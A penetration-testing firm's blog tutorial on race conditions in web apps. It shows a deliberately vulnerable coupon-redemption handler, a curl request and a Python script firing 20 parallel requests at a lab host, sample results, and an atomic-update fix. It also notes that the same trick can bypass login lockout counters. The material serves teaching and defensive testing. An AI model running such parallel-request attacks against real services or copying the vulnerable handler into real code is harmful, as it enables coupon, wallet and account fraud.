ECSEXCELON CYBER SOLUTIONS

Race Conditions in Web Apps: Redeeming a One-Time Coupon 20 Times

How a race condition lets attackers overrun one-time limits such as coupons and wallet balances, with a reproducible lab test and an atomic-update fix.

By Excelon Cyber Solutions Security Team4 min read

Some of the most expensive web vulnerabilities leave no malformed input and no error message. They exploit time. When two requests arrive together and the application checks a limit before it updates it, both can pass the check. This is a race condition, and it affects coupons, gift cards, wallet withdrawals, voting, inventory and rate limits.

Key takeaways

  • Race conditions let parallel requests all pass a check before the limit is updated.
  • They affect coupons, wallets, stock, referral bonuses and login attempt counters.
  • The fix is an atomic conditional update, a locked transaction or a unique constraint.
  • Test by sending 10 to 30 requests in parallel and repeat several times.

The vulnerable logic

A shopping cart accepts a coupon that is supposed to work once per account:

js
app.post('/api/coupon/redeem', auth, async (req, res) => {
  const coupon = await db.one('SELECT * FROM coupons WHERE code=$1', [req.body.code]);
  if (coupon.used) return res.status(400).json({ error: 'Already used' });   // 1. check

  await applyDiscount(req.user.id, coupon.value);                            // 2. act
  await db.query('UPDATE coupons SET used=true WHERE id=$1', [coupon.id]);   // 3. update
  res.json({ ok: true });
});

Between step 1 and step 3 there is a window. Several requests that arrive inside that window all see used = false.

Step 1: Establish the expected behaviour

Send the redemption twice, one after another:

bash
curl -s -X POST https://lab.example.test/api/coupon/redeem \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"code":"WELCOME500"}'

The first call returns {"ok":true}, the second returns Already used. The control seems to work.

Step 2: Send the requests at the same instant

Sequential tests cannot find this bug. The tester needs the requests to land together. In Burp Suite, put the request in Repeater, duplicate the tab 20 times, add them to a group and choose Send group in parallel. Burp can use the single-packet technique over HTTP/2 so the requests arrive in one network packet, removing network jitter.

A scripted alternative with Python:

python
import asyncio, httpx

URL = "https://lab.example.test/api/coupon/redeem"
HEADERS = {"Authorization": "Bearer <token>"}

async def main():
    async with httpx.AsyncClient(http2=True, headers=HEADERS) as c:
        tasks = [c.post(URL, json={"code": "WELCOME500"}) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        print([r.status_code for r in results])

asyncio.run(main())

Illustrative lab results over 10 trials:

TrialRequests sentSuccessful redemptionsDiscount applied (INR)
12073,500
220115,500
32042,000
Average of 1020about 8about 4,000

A coupon worth INR 500 once became worth several thousand rupees. Results vary per run, which is typical of race conditions, so testers repeat the attempt.

Where else this appears

  • Withdrawing the same wallet balance several times
  • Applying a referral bonus repeatedly
  • Buying more units than stock holds
  • Bypassing a login attempt counter, so a password can be brute-forced faster than the lockout reacts
  • Creating many accounts with the same unique e-mail address

The fix: make the check and the change one atomic step

js
// Atomic claim: only one request can flip used from false to true
const claimed = await db.query(
  'UPDATE coupons SET used = true WHERE id = $1 AND used = false RETURNING id',
  [coupon.id]
);
if (claimed.rowCount === 0) return res.status(400).json({ error: 'Already used' });

await applyDiscount(req.user.id, coupon.value);   // runs only for the single winner

Other robust options:

  1. Wrap the logic in a database transaction and lock the row with SELECT ... FOR UPDATE.
  2. Add a unique constraint, for example on (user_id, coupon_id) in a redemptions table, so the database rejects duplicates.
  3. Use an idempotency key for payment and credit operations.
  4. For counters and balances, use atomic increments or a single conditional UPDATE, not read-modify-write in application code.

Testing checklist

  • List every action that is limited to "once" or "N times".
  • Fire the request in parallel batches of 10 to 30 and compare the number of successes with the allowed limit.
  • Repeat several times, since a race may only show on some attempts.
  • Verify the fix under the same parallel load.

Business logic flaws like this are invisible to automated scanners, which is why a manual penetration test covers them explicitly.

Frequently asked questions

Can rate limiting prevent race conditions?

Not reliably. Requests sent in a single packet arrive together, so a simple rate limiter may count them all before it reacts. The state change itself must be atomic.

Which applications are most exposed?

Anything with one-time or limited actions: e-commerce coupons, wallets and payments, ticketing, loyalty points and referral programmes.

How do we test this safely on production?

Only with permission, on test accounts, with small values and at quiet times, and agree the plan in advance so nobody mistakes the traffic for an attack.

Further reading

Need this tested?

Have our senior analysts test your application

Excelon Cyber Solutions runs web application, API and network penetration tests across India, with every finding reproduced and documented before it reaches your report.

WHATSAPP